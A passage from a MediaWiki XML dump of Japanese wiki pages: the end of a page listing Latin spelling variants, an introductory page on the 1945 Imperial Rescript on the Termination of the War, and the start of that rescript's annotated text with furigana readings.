| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:10pt;&quot; |&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;
|}

&lt;!--
&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;
▲, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,  (), , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,  , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , 
, [[wikt:en:ei#Latin|eī]], [[wikt:en:eis#Latin|eīs]], [[wikt:en:existit#Latin|existit]], 

[[wikt:en:expectent#Latin|expectent]], 
[[wikt:en:exposcentis#Participle_2|exposcentīs]], 
([[wikt:en:exstruxerunt#Latin|exstruxerunt]] 共和制末期の表記),


[[wikt:en:ferventis#Latin|ferventīs]], [[wikt:en:finis#Latin|fīnīs]], 
[[wikt:en:glandis#Latin|glandīs]], 
[[wikt:en:glebas#Latin|glēbās]](写本にあるが後期ラテン語の表記), 
[[wikt:en:haesitantis#Participle_2|haesitantīs]], [[wikt:en:hostis#Latin|hostīs]], [[wikt:en:ignis#Latin|ignīs]], [[wikt:en:illatas|illātās]], 

[[wikt:en:illustrem#Latin:_adjective|illūstrem]], 

[[wikt:en:immittit|immittit]], [[wikt:en:immittunt|immittunt]], [[wikt:en:imparatum|imparātum]], ([[wikt:en:impedita#Latin|impedīta]]), 
[[wikt:en:imperi#Latin|imperī]], 

[[wikt:en:imprudentia#Noun|imprūdentia]],

[[wikt:en:incolumis#Latin|incolumīs]], 
[[wikt:en:indignantis#Participle_2|indignantīs]], 
[[wikt:en:inopinantis#Adjective_2|inopīnantīs]], [[wikt:en:irridere#Latin|irrīdēre]], [[wikt:en:irrumpere|irrumpere]], [[wikt:en:irrumpit|irrumpit]], [[wikt:en:irruperunt|irrūpērunt]], [[wikt:en:laborantis#Etymology_2|labōrantīs]], 
([[wikt:en:materiem#Latin|materiem]]),
[[wikt:en:montis|montīs]], [[wikt:en:natalis#Latin|nātālīs]], [[wikt:en:navis#Latin|nāvīs]], [[wikt:en:negoti|negōtī]], nōn nūllae, nōn nūllōs, [[wikt:en:offici#Noun_2|officī]], [[wikt:en:omnis#Latin|omnīs]], 

[[wikt:en:opportunitate#Latin|opportūnitāte]], 

[[wikt:en:partis#Latin|partīs]], [[wikt:en:periclum#Latin|perīclum]], plūrīs, [[wikt:en:praesidi|praesidī]], [[wikt:en:proeli|proelī]], proficīscentīs, [[wikt:en:resistentis|resistentīs]], [[wikt:en:singularis#Latin|singulārīs]], [[wikt:en:solaci|sōlācī]], [[wikt:en:spati#Latin|spatī]], [[wikt:en:subeuntis|subeuntīs]], 

subficere (×subficereは使われていない)

[[wikt:en:suffossis|suffossīs]], [[wikt:en:sumministrata|sumministrāta]], [[wikt:en:summissis|summissīs]], 

[[wikt:en:summittantur#Latin|summittantur]], 

[[wikt:en:summittebat|summittēbat]], [[wikt:en:summittit|summittit]], [[wikt:en:summotis|summōtīs]], [[wikt:en:summoveri|summovērī]], [[wikt:en:supplici#Noun|supplicī]], 

[[wikt:en:testis#Latin|testīs]], 

[[wikt:en:timentis#Participle_2|timentīs]], [[wikt:en:Tituri|Titūrī]], [[wikt:en:Trinobantes#Latin|Trinobantēs]], trīs, [[wikt:en:turris#Latin|turrīs]](共和制末期の表記に近い), [[wikt:en:utilis#Latin|ūtilīs]], [[wikt:en:vectigalis#Latin|vectīgālīs]]  &lt;/span&gt; などは、
&lt;br&gt;それぞれ 

&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;
▼, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,  (), , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , 
, , , , , , , , [[wikt:en:ii#Latin|iī]], [[wikt:en:iis#Latin|iīs]], [[wikt:en:exsistit|exsistit]], 

[[wikt:en:exspectent#Latin|exspectent]], 
[[wikt:en:exposcentes#Latin|exposcentēs]], 

([[wikt:en:extruxerunt#Latin|extruxerunt]]実際の発音に近い表記),

[[wikt:en:ferventes#Latin|ferventēs]], [[wikt:en:fines#Latin|fīnēs]], 
[[wikt:en:glandes#Latin|glandēs]], 
[[wikt:en:glaebas#Latin|glaebās]](共和制末期の表記), 
[[wikt:en:haesitantes#Latin|haesitantēs]], [[wikt:en:hostes#Latin|hostēs]], [[wikt:en:ignes|ignēs]], [[wikt:en:inlatas|inlātās]], 

[[wikt:en:inlustrem#Latin:_adjective|inlūstrem]], 

[[wikt:en:inmittit|inmittit]], [[wikt:en:inmittunt|inmittunt]], [[wikt:en:inparatum|inparātum]], ([[wikt:en:inpedita#Latin|inpedīta]]), 
[[wikt:en:imperii#Latin|imperiī]], 

[[wikt:en:inprudentia#Noun|inprūdentia]], 

[[wikt:en:incolumes|incolumēs]], 
[[wikt:en:indignantes#Latin|indignantēs]], 
[[wikt:en:inopinantes|inopīnantēs]], [[wikt:en:inridere|inrīdēre]], [[wikt:en:inrumpere|inrumpere]], [[wikt:en:inrumpit|inrumpit]], [[wikt:en:inruperunt|inrūpērunt]], [[wikt:en:laborantes#Latin|labōrantēs]], 
([[wikt:en:materiam#Latin|materiam]]共和制末期に近い表記),
[[wikt:en:montes#Latin|montēs]], [[wikt:en:natales#Latin|nātālēs]], [[wikt:en:naves#Latin|nāvēs]], [[wikt:en:negotii|negōtiī]], [[wikt:en:nonnullae|nōnnūllae]], [[wikt:en:nonnullos|nōnnūllōs]], [[wikt:en:officii#Latin|officiī]], [[wikt:en:omnes#Latin|omnēs]], 

([[wikt:en:oportunitate#Latin|oportūnitāte]])

[[wikt:en:partes#Latin|partēs]], [[wikt:en:periculum#Latin|perīculum]], [[wikt:en:plures|plūrēs]], [[wikt:en:praesidii|praesidiī]], [[wikt:en:proelii|proeliī]],  [[wikt:en:proficiscentes|proficīscentēs]], [[wikt:en:resistentes#Latin|resistentēs]], [[wikt:en:singulares#Latin|singulārēs]], [[wikt:en:solacii|sōlāciī]], [[wikt:en:spatii#Latin|spatiī]], [[wikt:en:subeuntes|subeuntēs]], [[wikt:en:subfossis|subfossīs]], [[wikt:en:subministrata|subministrāta]], [[wikt:en:submissis|submissīs]], 

[[wikt:en:submittantur#Latin|submittantur]], 

[[wikt:en:submittebat|submittēbat]], [[wikt:en:submittit|submittit]], [[wikt:en:submotis|submōtīs]], [[wikt:en:submoveri|submovērī]], [[wikt:en:supplicii|suppliciī]], 

[[wikt:en:testes#Latin|testēs]], 

[[wikt:en:timentes|timentēs]], [[wikt:en:Titurii|Titūriī]], [[wikt:en:Trinovantes#Latin|Trinovantēs]], [[wikt:en:tres#Latin|trēs]], [[wikt:en:turres#Latin|turrēs]], [[wikt:en:utiles#Latin|ūtilēs]], [[wikt:en:vectigales|vectīgālēs]]  &lt;/span&gt; などとした。
--&gt;


&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color:#b00;&quot;&gt;&lt;/span&gt; 
&lt;span style=&quot;color:#800;&quot;&gt;&lt;/span&gt; 
&lt;span style=&quot;font-size:10pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;

==脚注==
&lt;references /&gt;

==関連項目==

==外部リンク==</text>
      <sha1>ajw8ggqbi6fqadv4b5bx6dv8m136m98</sha1>
    </revision>
  </page>
  <page>
    <title>終戦の詔書</title>
    <ns>0</ns>
    <id>48684</id>
    <revision>
      <id>305259</id>
      <parentid>304978</parentid>
      <timestamp>2026-11-01T08:19:55Z</timestamp>
      <contributor>
        <username>Linguae</username>
        <id>449</id>
      </contributor>
      <minor />
      <comment>/* 詔書の読解 */ 進捗</comment>
      <origin>305259</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="9008" sha1="9hnp9ha24zu1tdx6ply7iv7wfndqzv9" xml:space="preserve">{{NDC|210|しゆうせんのしようしよ}}
&lt;!--【2026年8月14日起稿】--&gt;
*[[第二次世界大戦]]＞
&lt;div style=&quot;font-family:游明朝;font-size:60pt;text-align:center;&quot;&gt;終&amp;#xE0101;戰ノ詔書　&lt;/div&gt;

&lt;div style=&quot;background-color:#fbfbfb; font-size:13pt; width:800px;&quot;&gt;&lt;p style=&quot;line-height:1.9; margin-bottom: 10px; font-family:游明朝;&quot;&gt;&lt;span style=&quot;font-family:游明朝 Demibold;font-size:15pt;&quot;&gt;終戦の詔書&lt;/span&gt;&lt;ref&gt;[https://kotobank.jp/word/%E7%B5%82%E6%88%A6%E3%81%AE%E8%A9%94%E6%9B%B8-3132313　終戦の詔書とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;&lt;span style=&quot;font-size:11pt;&quot;&gt;（しゅうせんのしょうしょ）&lt;/span&gt;は、&lt;span style=&quot;font-family:游明朝 Demibold;font-size:15pt;&quot;&gt;終戦の詔勅&lt;/span&gt;&lt;ref&gt;[https://kotobank.jp/word/%E7%B5%82%E6%88%A6%E3%81%AE%E8%A9%94%E5%8B%85-1614489 終戦の詔勅(しゅうせんのしょうちょく)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;&lt;span style=&quot;font-size:11pt;&quot;&gt;（しゅうせんのしょうちょく）&lt;/span&gt;とも呼ばれる、&lt;br&gt;[[w:第二次世界大戦|第二次大戦]]&lt;ref&gt;[https://kotobank.jp/word/%E7%AC%AC%E4%BA%8C%E6%AC%A1%E4%B8%96%E7%95%8C%E5%A4%A7%E6%88%A6-558007 第二次世界大戦(ダイニジセカイタイセン)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;&lt;ref&gt;[https://kotobank.jp/word/%E7%AC%AC2%E6%AC%A1%E4%B8%96%E7%95%8C%E5%A4%A7%E6%88%A6-91774 第2次世界大戦(だいにじせかいたいせん)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;で日本が[[w:連合国 (第二次世界大戦)|連合国]]の[[w:ポツダム宣言|ポツダム宣言]]&lt;ref&gt;[https://kotobank.jp/word/%E3%81%BD%E3%81%A4%E3%81%A0%E3%82%80%E5%AE%A3%E8%A8%80-3170638 ポツダム宣言(ポツダムセンゲン)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;&lt;ref&gt;[https://kotobank.jp/word/%E3%81%BD%E3%81%A4%E3%81%A0%E3%82%80%E5%AE%A3%E8%A8%80%E7%B1%B3%E8%8B%B1%E8%8F%AF%E4%B8%89%E5%9B%BD%E5%AE%A3%E8%A8%80-1614573#w-1614573 ポツダム宣言/米、英、華三国宣言(ぽつだむせんげんべいえいかさんごくせんげん)とは？ 意味や使い方 - コトバンク]（宣言の条文）&lt;/ref&gt;を受諾する旨を通知したことを公表した[[w:詔#大日本帝国憲法のもとでの詔書|詔書]]&lt;ref&gt;[https://kotobank.jp/word/%E8%A9%94%E6%9B%B8-531944 詔書(ショウショ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;。&lt;/p&gt;
&lt;p style=&quot;line-height:1.9; margin-bottom: 10px; font-family:游明朝;&quot;&gt;　この詔書は、日本の終戦工作&lt;ref&gt;[https://kotobank.jp/word/%E7%B5%82%E6%88%A6%E5%B7%A5%E4%BD%9C-1173549 終戦工作(しゅうせんこうさく)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;において、昭和20年（1945年）8月10日の[[w:御前会議|御前会議]]での宣言受諾の方針を受けて、&lt;ruby&gt;&lt;rb&gt;[[w:迫水久常|迫水久常]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さこみずひさつね&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ref&gt;[https://kotobank.jp/word/%E8%BF%AB%E6%B0%B4%E4%B9%85%E5%B8%B8-1077994#w-1676332 迫水久常(サコミズ ヒサツネ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt; [[w:内閣書記官長|内閣書記官長]]&lt;ref&gt;[https://kotobank.jp/word/%E5%86%85%E9%96%A3%E6%9B%B8%E8%A8%98%E5%AE%98%E9%95%B7-345114 内閣書記官長(ないかくしょきかんちょう)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;の主導のもとで、内閣嘱託の[[w:漢学|漢学]]者 &lt;ruby&gt;&lt;rb&gt;&lt;span style=&quot;font-size:14pt;&quot;&gt;[[w:川田瑞穂|川田瑞穂]]&lt;/span&gt;&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かわだみずほ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ref&gt;[https://kotobank.jp/word/%E5%B7%9D%E7%94%B0%E7%91%9E%E7%A9%82-1067952 川田瑞穂(カワタ ミズホ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;によって起草され、さらに陽明学者の&lt;ruby&gt;&lt;rb&gt;&lt;span style=&quot;font-size:14pt;&quot;&gt;[[w:安岡正篤|安岡正篤]]&lt;/span&gt;&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;やすおかまさひろ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ref&gt;[https://kotobank.jp/word/%E5%AE%89%E5%B2%A1%E6%AD%A3%E7%AF%A4-21854#w-1602068 安岡正篤(やすおかまさひろ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;も加わって&lt;ruby&gt;&lt;rb&gt;刪修&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さんしゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ref&gt;不要な字句または文章をけずって改めること。[https://kotobank.jp/word/%E5%88%AA%E4%BF%AE-2044132 刪修(さんしゅう)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;が進められ、8月14日朝の御前会議で宣言受諾が最終決定されると、同日午後11時頃に[[w:鈴木貫太郎内閣|鈴木貫太郎内閣]]&lt;ref&gt;[https://kotobank.jp/word/%E9%88%B4%E6%9C%A8%E8%B2%AB%E5%A4%AA%E9%83%8E%E5%86%85%E9%96%A3-845136 鈴木貫太郎内閣(すずきかんたろうないかく)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;によって詔書が発布（{{ruby|渙発|かんぱつ}}&lt;ref&gt;詔書を発布することを「{{ruby|渙発|かんぱつ}}」と呼んでいた。[https://kotobank.jp/word/%E6%B8%99%E7%99%BA-471246 渙発(カンパツ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;）され、連合国に向けて宣言を受諾する旨が打電された。&lt;/p&gt;
&lt;p style=&quot;line-height:1.9; font-family:游明朝;&quot;&gt;　　[[w:下村宏|下村宏]]&lt;ref&gt;[https://kotobank.jp/word/%E4%B8%8B%E6%9D%91%E5%AE%8F-18290#w-1333869 下村宏(しもむらひろし)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt; [[w:情報局|情報局]]総裁の発議により、[[w:昭和天皇|昭和天皇]]自らがマイクの前で朗読した音声のレコード盤をラジオ放送で国民に聴かせる
&lt;span style=&quot;font-family:游明朝 Demibold;font-size:15pt;&quot;&gt;玉音放送&lt;/span&gt;&lt;ref&gt;[https://kotobank.jp/word/%E7%8E%89%E9%9F%B3%E6%94%BE%E9%80%81-479319#w-3454559 玉音放送(ギョクオンホウソウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;が翌8月15日正午より放送された。&lt;br&gt;　ここでは、終戦の詔書の本文の註解、および関連する事項や経緯について解説する。&lt;/p&gt;&lt;/div&gt;

== 詔書の読解 ==
{| class=&quot;wikitable&quot; style=&quot;float:right;&quot; &lt;!-- 右寄せ --&gt;
|+ 玉音放送 ([[w:玉音放送|w]])
|-
| style=&quot;font-size:10pt;&quot; |玉音放送原版
|[[ファイル:Imperial Rescript on the Termination of the War.ogg]]
|-
| style=&quot;font-size:10pt;&quot; |ノイズ除去版
|[[ファイル:玉音放送ノイズ除去版.ogg]]
|}
{{wikipedia}}
*&lt;span style=&quot;font-family:游明朝;font-size:15pt;&quot;&gt;昭和二十年八月十四日の詔書&lt;/span&gt;
**&lt;span style=&quot;font-size:15pt;&quot;&gt;[[/原文テキスト]]　{{進捗|75%|2026-08-29}}　&lt;/span&gt;&lt;small&gt;（2026年8月14日より）&lt;/small&gt;&lt;!--2026年8月14日--&gt;
**:&lt;span style=&quot;font-size:13pt;&quot;&gt;[[/原文テキスト/漢字の注記|../漢字の注記]]　{{進捗|75%|2026-09-12}}　&lt;/span&gt;&lt;small&gt;（2026年8月15日より）&lt;/small&gt;&lt;!--2026年8月15日--&gt;
**&lt;span style=&quot;font-size:16pt;&quot;&gt;[[/テキスト注解]]　{{進捗|25%|2026-11-01}}　&lt;/span&gt;&lt;small&gt;（2026年8月16日より）&lt;/small&gt;&lt;!--2026年8月16日--&gt;
:　
:　
;佐野小門太（内閣官房総務課の理事官）が清書した手書きの「御署名原本」
{| border=&quot;0&quot; 
|-
|[[画像:Imperial Rescript on the Termination of the War4.jpg|thumb|200px|(大臣の[[w:連署・副署|副署]])]]
|[[画像:Imperial Rescript on the Termination of the War3.jpg|thumb|200px|(主文の後半と[[w:御名御璽|御名御璽]])]]
|[[画像:Imperial Rescript on the Termination of the War2.jpg|thumb|200px|]]
|[[画像:Imperial Rescript on the Termination of the War1.jpg|thumb|130px|]]
|}

== 脚注 ==
&lt;references /&gt;

== 外部リンク ==
* [https://globe.asahi.com/article/14709020 終戦の日（8月15日）に読みたい　玉音放送（終戦の詔書）の原文と現代語訳：朝日新聞GLOBE＋]
* [https://www.huffingtonpost.jp/entry/story_jp_62e72de5e4b006483a9e96a4 玉音放送の全文、現代語でどんな意味？「耐えがたいことを耐えて...」 | ハフポスト NEWS]
* [https://www2.nhk.or.jp/archives/articles/?id=C0110556 終戦まとめ＞終戦の詔書（玉音放送）|NHKアーカイブス]：「終戦の詔勅」本文と「玉音放送」音声
* [https://www.mext.go.jp/b_menu/hakusho/html/others/detail/1317941.htm 終戦ノ詔書（昭和二十年八月十四日）：文部科学省]
* [https://www.buzzfeed.com/jp/kenjiando/gyokuon-hoso-2025 【玉音放送】わかりやすく現代語訳してみた。「戦争を継続すれば我が民族の滅亡を招くだけでなく、人類の文明も破壊される」（戦後80年）]
* [https://www.kobe-np.co.jp/news/backnumber/201508/0011513223.shtml 昭和天皇「玉音放送」現代語訳|記　事|神戸新聞NEXT]
* [https://dl.ndl.go.jp/view/download/digidepo_3050784_po_geppo.pdf?contentNo=1 国立国会図書館 月報（2010年8月）(PDF)] - 「終戦の詔書　史料で読み解く二つの疑問」掲載

[[Category:終戦の詔書|*]]
[[Category:日本の終戦工作|しゆうせんのしようちよく]]
[[Category:第二次世界大戦|しゅうせんのしようしよ]]</text>
      <sha1>9hnp9ha24zu1tdx6ply7iv7wfndqzv9</sha1>
    </revision>
  </page>
  <page>
    <title>終戦の詔書/テキスト注解</title>
    <ns>0</ns>
    <id>48695</id>
    <revision>
      <id>305251</id>
      <parentid>304977</parentid>
      <timestamp>2026-11-01T07:07:08Z</timestamp>
      <contributor>
        <username>Linguae</username>
        <id>449</id>
      </contributor>
      <minor />
      <comment>/* 第三段落 */ 他國ノ主權ヲ排シ領土ヲ侵󠄁スカ如キハ</comment>
      <origin>305251</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="75856" sha1="54mbob3ckcp37jem2jubsaegiqgrghg" xml:space="preserve">&lt;!--【2026年8月16日起稿】--&gt;
*[[第二次世界大戦]]＞[[終戦の詔書]]＞
&lt;div style=&quot;font-family:游明朝;font-size:35pt;text-align:center;&quot;&gt;終&amp;#xE0101;戰ノ詔書&lt;/div&gt;
&lt;div style=&quot;font-family:游明朝;font-size:20pt;text-align:center;&quot;&gt;テキスト註解&lt;/div&gt;

　ここでは、昭和20年8月14日に発布された詔書、いわゆる「終戦の詔書」のテキストを注解する。

== テキスト注解（昭和二十年八月十四日の詔書）==
; [[#第一段落]]　　[[#第二段落]]　　[[#第三段落]]　　[[#第四段落]]　　[[#第五段落]]
:　
; 第一段落
# [[#朕󠄂&amp;#xE0102;（ちん）]]
# [[#朕󠄂&amp;#xE0102;深ク世界ノ大勢ト帝國ノ現狀トニ鑑ミ]]
# [[#非常ノ措置ヲ以テ時局ヲ收拾セムト欲シ]]
# [[#玆ニ忠良ナル爾臣民ニ吿ク]]
; 第二段落
# [[#朕&amp;#xE0102;ハ帝國政府ヲシテ]]
# [[#米英支蘇四國ニ對シ]]
# [[#其ノ共同宣言ヲ受諾スル旨通󠄁吿セシメタリ]]
; [[#第三段落]]
# [[#抑〻帝國臣民ノ康寧ヲ圖リ]]
# [[#萬邦&amp;#xE0102;共榮ノ樂ヲ偕ニスルハ]]
# [[#皇祖&amp;#xFE00;皇宗ノ遺&amp;#xE0101;範ニシテ]]
# [[#朕&amp;#xE0102;ノ拳&amp;#xE0101;々措カサル所&amp;#xE0101;]]
# [[#曩ニ米英二國ニ宣戰セル所&amp;#xE0101;以モ亦]]
# [[#實ニ帝國ノ自存ト東亞ノ安定トヲ庻&amp;#xE0100;幾󠄁&amp;#xE0101;スルニ出テ]]
# [[#他國ノ主權ヲ排シ領土ヲ侵󠄁スカ如キハ]]
# [[#固ヨリ朕&amp;#xE0102;カ志ニアラス]]
# [[#然ルニ交&amp;#xE0101;戰已ニ四歲ヲ閱シ]]
# [[#朕&amp;#xE0102;カ陸海&amp;#xE0100;將兵ノ勇&amp;#xE0101;戰]]
# [[#朕&amp;#xE0102;カ百僚有司ノ勵精&amp;#xE0100;]]
# [[#朕&amp;#xE0102;カ一億衆庻&amp;#xE0100;ノ奉公󠄁]]
# [[#各〻最善ヲ盡セルニ拘ラス]]
# [[#戰局必スシモ好轉セス]]
# [[#世界ノ大勢亦我ニ利アラス]]
# [[#加之敵ハ新ニ殘虐󠄁ナル爆彈ヲ使󠄁用シテ]]
# [[#頻&amp;#xE0100;ニ無辜ヲ殺&amp;#xE0100;傷シ]]
# [[#慘害&amp;#xE0102;ノ及&amp;#xE0101;フ所&amp;#xE0101;眞ニ測ルヘカラサルニ至ル]]
# [[#而モ尙交&amp;#xE0101;戰ヲ繼續セムカ]]
# [[#終&amp;#xE0101;ニ我カ民族ノ滅亡ヲ招來スルノミナラス]]
# [[#延&amp;#xE0102;テ人類&amp;#xE0100;ノ文&amp;#xE0101;明ヲモ破却スヘシ]]
# [[#斯ノ如クムハ]]
# [[#朕&amp;#xE0102;何ヲ以テカ億兆ノ赤子ヲ保シ]]
# [[#皇祖&amp;#xFE00;皇宗ノ神&amp;#xE0100;靈ニ謝セムヤ]]
# [[#是レ朕&amp;#xE0102;カ帝國政府ヲシテ共同宣言ニ應セシムルニ至レル所&amp;#xE0101;以ナリ]]
; [[#第四段落]]
# [[#朕&amp;#xE0102;ハ帝國ト共ニ]]
# [[#終&amp;#xE0101;始東亞ノ解放ニ協力セル諸&amp;#xE0100;盟邦&amp;#xE0102;ニ對シ]]
# [[#遺&amp;#xE0101;憾ノ意ヲ表セサルヲ得ス]]
# [[#帝國臣民ニシテ]]
# [[#戰陣ニ死シ]]
# [[#職域ニ殉シ]]
# [[#非命ニ斃レタル者&amp;#xE0101;]]
# [[#及&amp;#xE0101;其ノ遺&amp;#xE0101;族ニ想ヲ致セハ]]
# [[#五內爲ニ裂ク]]
# [[#且戰傷ヲ負&amp;#xE0102;ヒ]]
# [[#災禍&amp;#xE0100;ヲ蒙リ]]
# [[#家業ヲ失ヒタル者&amp;#xE0101;ノ]]
# [[#厚生ニ至リテハ]]
# [[#朕&amp;#xE0102;ノ深ク軫念スル所&amp;#xE0101;ナリ]]
# [[#惟フニ今後帝國ノ受クヘキ苦難&amp;#xE0100;ハ]]
# [[#固ヨリ尋&amp;#xE0101;常ニアラス]]
# [[#爾臣民ノ衷情&amp;#xE0101;モ朕&amp;#xE0102;善ク之ヲ知ル]]
# [[#然レトモ朕&amp;#xE0102;ハ時運&amp;#xE0101;ノ趨ク所&amp;#xE0101;]]
# [[#堪ヘ難&amp;#xE0100;キヲ堪ヘ忍&amp;#xE0101;ヒ難&amp;#xE0100;キヲ忍&amp;#xE0101;ヒ]]
# [[#以テ萬世ノ爲ニ太平&amp;#xE0101;ヲ開カムト欲ス]]
; [[#第五段落]]
# [[#朕&amp;#xE0102;ハ玆ニ國體ヲ護持シ得テ]]
# [[#忠良ナル爾臣民ノ赤誠&amp;#xE0101;ニ信倚シ]]
# [[#常ニ爾臣民ト共ニ在リ]]
# [[#若シ夫レ情&amp;#xE0101;ノ激スル所&amp;#xE0101;]]
# [[#濫ニ事端ヲ滋クシ]]
# [[#或ハ同胞&amp;#xE0101;排擠]]
# [[#互ニ時局ヲ亂リ]]
# [[#爲ニ大道&amp;#xE0101;ヲ誤&amp;#xE0101;リ]]
# [[#信義ヲ世界ニ失フカ如キハ]]
# [[#朕&amp;#xE0102;最モ之ヲ戒ム]]
# [[#宜シク擧國一家子孫相傳ヘ]]
# [[#確ク神&amp;#xE0100;州ノ不滅ヲ信シ]]
# [[#任重クシテ]]
# [[#道&amp;#xE0101;遠&amp;#xE0101;キヲ念ヒ]]
# [[#總力ヲ將來ノ建&amp;#xE0101;設ニ傾ケ]]
# [[#道&amp;#xE0101;義ヲ篤クシ]]
# [[#志操ヲ鞏クシ]]
# [[#誓テ國體ノ精&amp;#xE0100;華ヲ發揚シ]]
# [[#世界ノ進&amp;#xE0101;運󠄁ニ後レサラムコトヲ期スヘシ]]
# [[#爾臣民其レ克ク朕&amp;#xE0102;カ意ヲ體セヨ]]

== 第一段落 ==
&lt;!--◆第一段落--&gt;&lt;div style=&quot;background-color:#ffd;&quot;&gt;
&lt;p style=&quot;line-height:1.3; margin-bottom: 15px; text-align:left; font-family:游明朝;font-size:13pt;&quot;&gt;（原文）&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;深ク世界ノ大勢ト帝國ノ現狀トニ鑑ミ非常ノ措置ヲ以テ時局ヲ收拾セムト欲シ玆ニ忠良ナル爾臣民ニ吿ク&lt;/p&gt;
&lt;p style=&quot;background-color:#ffe; line-height:1.3; font-family:游明朝;font-size:13pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;深&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ふか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く&lt;ruby&gt;&lt;rb&gt;世&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;界&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;大&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;勢&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;現&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;げん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;状&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;とに&lt;ruby&gt;&lt;rb&gt;鑑&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かんが&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;み、&lt;ruby&gt;&lt;rb&gt;非&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;常&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;措&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;置&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ち&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&g